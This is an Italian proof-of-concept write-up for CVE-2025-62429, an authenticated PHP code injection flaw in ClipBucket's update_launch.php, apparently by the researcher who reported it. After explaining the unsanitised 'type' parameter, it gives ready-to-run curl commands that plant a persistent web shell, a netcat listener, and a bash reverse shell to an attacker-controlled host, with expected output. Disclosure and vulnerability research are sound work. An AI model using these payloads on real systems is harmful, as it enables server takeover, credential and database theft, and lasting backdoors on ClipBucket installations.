
CVE-2025-62429 | clipbucket RCE
Proof-of-Concept per RCE tramite Iniezione di Codice PHP in update_launch.php
Divulgazione: Segnalato originariamente da me tramite GHSA-3h9c-7j8r-xc3v
⚠️ Solo per uso autorizzato di pentesting/ricerca.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2025-62429 |
| Gravità | 🔴 Alta |
| Punteggio CVSS | 7.2 |
| Vettore CVSS | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-78: Iniezione di Comandi del Sistema Operativo, CWE-94: Iniezione di Codice |
| Prodotto Affetto | ClibBucket <= 5.5.3 - #79 |
| Versione Corretta | 5.5.3 - #80 |
| Avviso | GHSA-3h9c-7j8r-xc3v |
Esiste una vulnerabilità di Esecuzione Remota di Codice (RCE) Autenticata in ClipBucket v5.5.3-61. La vulnerabilità è classificata come CWE-94: Controllo Improprio della Generazione di Codice ('Iniezione di Codice'). L'applicazione non riesce a sanificare correttamente l'input controllato dall'utente utilizzato per generare codice PHP eseguibile in update_launch.php. Un amministratore autenticato può sfruttare questa vulnerabilità per ottenere l'esecuzione completa di comandi sul server sottostante, aumentando i privilegi da amministratore web a utente di sistema (ad esempio, containeruser).
La vulnerabilità si trova in upload/admin_area/actions/update_launch.php. Questo script agevola gli aggiornamenti di sistema generando dinamicamente uno script PHP temporaneo in background.
Frammento di Codice Vulnerabile: upload/admin_area/actions/update_launch.php (Righe 40-86)
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
Meccanismo dello Sfruttamento:
Poiché il parametro type viene concatenato nella stringa $data senza escape o sanificazione, un attaccante può utilizzare un apice singolo (') per uscire dal contesto letterale della stringa. Può quindi iniettare funzioni PHP arbitrarie (come system() o file_put_contents()) e commentare il resto del codice originale usando //. Ciò comporta l'esecuzione del codice fornito dall'attaccante con i privilegi del processo PHP-CLI.
PHPSESSID valido.
Dimostriamo prima la vulnerabilità distribuendo una web shell persistente nella root del documento.
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Risposta prevista: uid=1000(containeruser) gid=1000(containeruser) ...
Dopo aver confermato la RCE, viene stabilita una shell interattiva per la post-esplorazione.
nc -lvnp 4444
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
La macchina attaccante riceve una connessione, concedendo accesso completo a una shell interattiva come containeruser.
Uno sfruttamento riuscito consente a un attaccante di eseguire comandi di sistema arbitrari. Ciò comporta:
config.inc.php) e l'intero database.Questo problema è correlato alla vulnerabilità precedentemente divulgata:
Dopo ulteriori analisi, è stato scoperto che la vulnerabilità persiste in ClipBucket v5.5.3 a causa di una correzione incompleta.
Mentre l'avviso originale affrontava parte del problema, il vettore di iniezione di codice PHP tramite il parametro type in update_launch.php rimaneva sfruttabile.
Questo avviso fornisce dettagli tecnici aggiuntivi, verifica sull'ultima versione e uno scenario di sfruttamento completo end-to-end.